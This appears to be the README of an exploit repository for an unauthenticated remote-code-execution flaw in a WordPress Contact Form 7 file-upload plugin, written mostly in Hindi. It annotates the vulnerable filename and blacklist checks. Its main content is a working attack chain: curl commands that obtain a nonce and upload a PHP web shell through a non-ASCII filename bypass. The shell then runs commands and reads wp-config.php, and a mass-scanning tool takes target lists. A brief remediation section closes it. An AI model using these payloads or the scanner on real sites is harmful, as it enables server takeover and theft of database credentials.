// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
    // एकमात्र सुरक्षा: User-Agent में 'curl' जाँच — आसानी से बायपास किया जा सकता है
    if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
        wp_send_json_error('Request blocked: cURL access is forbidden.');
    }

    if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
        // अमान्य nonce → नया nonce लौटाता है
        wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
    }
}

// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 खतरनाक एक्सटेंशन: php, php3, php4, pht, phtml, phar...

if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    // ↑ ASSIGNMENT (=) — MERGE नहीं
    // अनुकूलित सूची: केवल ['zip']
    // 'php' अब सूची में नहीं है → स्वीकार किया जाता है
}

[mfile upload-file filetypes="*" blacklist-types:zip]

// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' गायब हैं
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );

// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );

if ( dnd_cf7_check_ascii( $ascii_name ) ) {
    // केवल शुद्ध-ASCII फ़ाइल नामों के लिए कॉल किया जाता है
    $filename = wpcf7_antiscript_file_name( $ascii_name );
    // ↑ shell.php → shell.php.txt बनाता — लेकिन बायपास हो जाता है
}
// यदि गैर-ASCII वर्ण है, तो यह ब्लॉक बायपास हो जाता है
// $filename = "shellシ.php" → .php एक्सटेंशन बरकरार रहता है

// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
    $string = sanitize_file_name( $string );
    // ↑ केवल स्थानीय प्रतिलिपि बदलती है, बाहरी $filename प्रभावित नहीं होता
    if ( mb_check_encoding( $string, 'ASCII' ) ) {
        return true;
    }
    return false;  // गैर-ASCII वर्ण → false → antiscript बायपास
}

┌─────────────────────────────────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
│  User-Agent: Mozilla/5.0  (curl नहीं)                      │
│       │                                                     │
│       ▼                                                     │
│  {"success":true,"data":"abc123def456"}                     │
│  → Nonce मुफ्त प्राप्त हुआ                                 │
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
│  security=abc123def456                                      │
│  upload-file=shellシ.php (Content-Type: application/x-php) │
│       │                                                     │
│       ├── Nonce मान्य ✓                                     │
│       ├── blacklist=['zip'] → 'php' अवरुद्ध नहीं ✓         │
│       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
│       ├── wpcf7_antiscript_file_name() बायपास किया गया ✓    │
│       └── move_uploaded_file("shellシ.php") → डिस्क पर लिखा गया│
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
│      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
│       │                                                     │
│       ▼                                                     │
│  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
│  → अनधिकृत RCE ✓                                           │
└─────────────────────────────────────────────────────────────┘

TARGET="https://target.example.com"

NONCE=$(curl -s -X POST \
  "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  --data "action=_wpcf7_check_nonce" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")

echo "Nonce: $NONCE"

{"success": true, "data": "abc123def456"}

# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"

FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')

curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  -F "action=dnd_codedropz_upload" \
  -F "security=${NONCE}" \
  -F "form_id=${FORM_ID}" \
  -F "upload_name=${FIELD_NAME}" \
  -F "upload_folder=${SESSION_FOLDER}" \
  -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"

{
  "success": true,
  "data": {
    "path": "<session-folder-uuid>",
    "file": "shellシ.php"
  }
}

UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"

# id कमांड
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# wp-config.php पढ़ें
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"

git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt

requests

python dnd_cf7_upload.py -u http://hedef.com

python dnd_cf7_upload.py -u http://hedef.com \
  --form-id 1 --field-name upload-file

python dnd_cf7_upload.py -u http://hedef.com \
  --shell-type full --verify-cmd "whoami"

python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt

python dnd_cf7_upload.py -u http://hedef.com \
  --proxy http://127.0.0.1:8080

WordPress रूट/
└── wp-content/
    └── uploads/
        └── wp_dndcf7_uploads/
            └── wpcf7-files/
                └── <session-uuid>/
                    └── shellシ.php   ← शेल यहाँ

[*] लक्ष्य     : http://hedef.com
[*] फॉर्म ID   : स्वचालित पहचान
[*] शेल प्रकार : system
[*] सत्यापन CMD: id

[→] http://hedef.com  चरण 1/5: Nonce प्राप्त किया जा रहा है...
[→] http://hedef.com  चरण 2/5: CF7 फॉर्म पहचान...
[→] http://hedef.com  चरण 3/5: शेल अपलोड हो रहा है (गैर-ASCII बायपास)...
[→] http://hedef.com  चरण 4/5: शेल URL बनाया जा रहा है...
[→] http://hedef.com  चरण 5/5: RCE सत्यापित किया जा रहा है...

═════════════════════════════════════════════════════════════════
[★ RCE OK    ] http://hedef.com
  संस्करण    : 1.3.9.6
  Nonce      : abc123def4  (स्रोत: ajax_endpoint)
  गैर-ASCII  : シ
  शेल URL    : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
                wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
  RCE आउटपुट : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════

[+] सहेजा गया → rce_results.txt

// असुरक्षित (वर्तमान — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );

// सुरक्षित (अनुशंसित — 1.3.9.7+)
$blacklist_types = array_merge(
    dnd_cf7_not_allowed_ext(),
    explode( '|', $blacklist["$cf7_upload_name"] )
);

// असुरक्षित (वर्तमान)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
    $filename = wpcf7_antiscript_file_name( $ascii_name );
}

// सुरक्षित (अनुशंसित)
$filename = wpcf7_antiscript_file_name( $filename );  // हमेशा कॉल करें

<FilesMatch "\.php\d?$">
    Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar

cve-2026-5718-scanner/
├── dnd_cf7_upload.py   # मुख्य स्कैनर
├── requirements.txt    # निर्भरताएँ
└── README.md           # यह फ़ाइल